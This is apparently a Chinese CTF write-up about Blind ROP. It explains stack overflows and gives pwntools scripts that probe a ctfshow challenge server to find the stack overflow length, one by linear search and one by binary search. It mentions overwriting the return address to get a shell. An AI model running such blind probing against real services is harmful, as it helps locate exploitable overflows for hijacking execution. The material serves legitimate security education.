BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind。
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
攻击条件
源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
以上来源于ctf-wiki
通常,我们在测试栈溢出漏洞的时候,我们需要知道缓冲区长度,也就是缓冲区到栈上返回地址的距离。
用ctfshow上的一道例题进行演示
如下图,我们输入 abcd ,四个字节
程序返回 No passwd,See you!
通过回显可以判断程序正常运行了
这时候再输入一个很长的数据,例如100个a
我们可以看到,程序输出了 timeout
由此判断这里程序发生了错误
以此猜测,程序发生了栈溢出漏洞
这里也浅浅的介绍一下栈溢出
有C语言代码如下
#include <stdio.h>
int main() {
char buf[30];
read(0, buf, 0x30);
return 0;
}
程序的返回地址(即这个函数执行完了之后,要去执行哪个函数)是布在栈上的
buf也是布置在栈上的
上面的c语言代码中使用 read() 函数从标准输入中读取 0x30(48)个字节存储到buf变量,但是分配给buf的空间只有 30 个字节,还有 18 个字节(如果我们输入了的话)
会被存储到buf后面的空间里,倘若 返回地址 的位置,刚好在 buf 后面,我们就能控制返回地址,从而控制程序的执行流程
举个例子, main 函数的返回地址是 exit,也就是结束进程的函数,倘若我们把exit修改为 system(‘/bin/sh’), 就获得了目标机器执行这个程序用户的shell。
题外话就说到这里,接下来开始文章的主题
一般情况下,在猜测目标程序存在栈溢出漏洞后,我们会写一个这样的脚本
去测试栈长度
学过算法的朋友应该能看的出来,下面这个程序的算法复杂度是O(n)
即程序有多少数据,就要运行多少次循环
# -*- coding: utf-8 -*-
# @Time : 2023/12/27 23:49
# @Author : 君叹
# @File : cs2.py
from pwn import *
buf_lenth = 1
while True:
try:
io = remote("pwn.challenge.ctf.show", None)
log.info(f"test: {buf_lenth}")
payload = b'a' * buf_lenth
io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", payload)
if io.recv().startswith(b"No passwd,See you!"):
buf_lenth += 1
else:
log.success(f"buf length: {buf_lenth}")
io.close()
break
io.close()
except:
pass
像是本题中,缓冲区到返回地址的距离是72
(为什么不是73,因为程序发送了73个a程序报错,说明第73个a覆盖了原本返回地址的第一个字节,导致程序报错)
跑72次,不管是测试还是什么,需要的时间久,有时候服务器响应慢,要的时间就更久了
这里二分算法的主要逻辑分为两个部分
1 确定范围
2 得到数字
确定范围,我们可以从 1 开始,每次乘以2
代码依次发送如下payload
b’a’ 1
b’a’ 2
b’a’ 4
b’a’ 8
b’a’ 16
……
b’a’ 128
到了128,确定目标数的范围是 64-128
然后开始使用常规的二分算法进行查找
如果程序返回 No passwd 就说明程序正常运行了,小于等于目标值,右移左指针
没有返回,说明没有正常运行,大于目标值,左移右指针
# -*- coding: utf-8 -*-
# @Time : 2023/12/13 21:49
# @Author : 君叹
# @File : getLength.py
from pwn import *
# 获取栈溢出长度
def dichotomy(fun):
num = 1
jici = 0
while fun(num):
jici += 1
num *= 2 # 确定范围
min = num / 2
max = num
c = (max + min) // 2
# print(max,min)
# print("c -> ",c)
while min <= max:
jici += 1
mid = (min + max) // 2
if max - min == 1:
log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
return min
if fun(mid): # 返回true,成立,那就是没到位
min = mid
else:
max = mid
log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
return mid
def getStackLength(addr, port):
# 使用二分法快速寻找到 ebp-buf 的值
def is_True(num):
try:
io = remote(addr, port)
io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", 'a' * int(num))
data = io.recv()
io.close()
if not data.startswith(b"No passwd"):
return False
return True
except EOFError:
io.close()
return False
return dichotomy(is_True)
if __name__ == '__main__':
addr = None
port = None
len = getStackLength(addr, port)
print(len)
运行结果
针对本题
共计14次链接,只用了原本不到20%的时间
当缓冲区空间越大,这个增幅也会越明显
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 700.00 | 0 | 2023-12-28 20:08:51 | 深度 300 普适 200 可读200 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
17828147368
发表于 11个月前
1
评论列表
加载数据中...
guanzhangsec
发表于 11个月前
1
评论列表
加载数据中...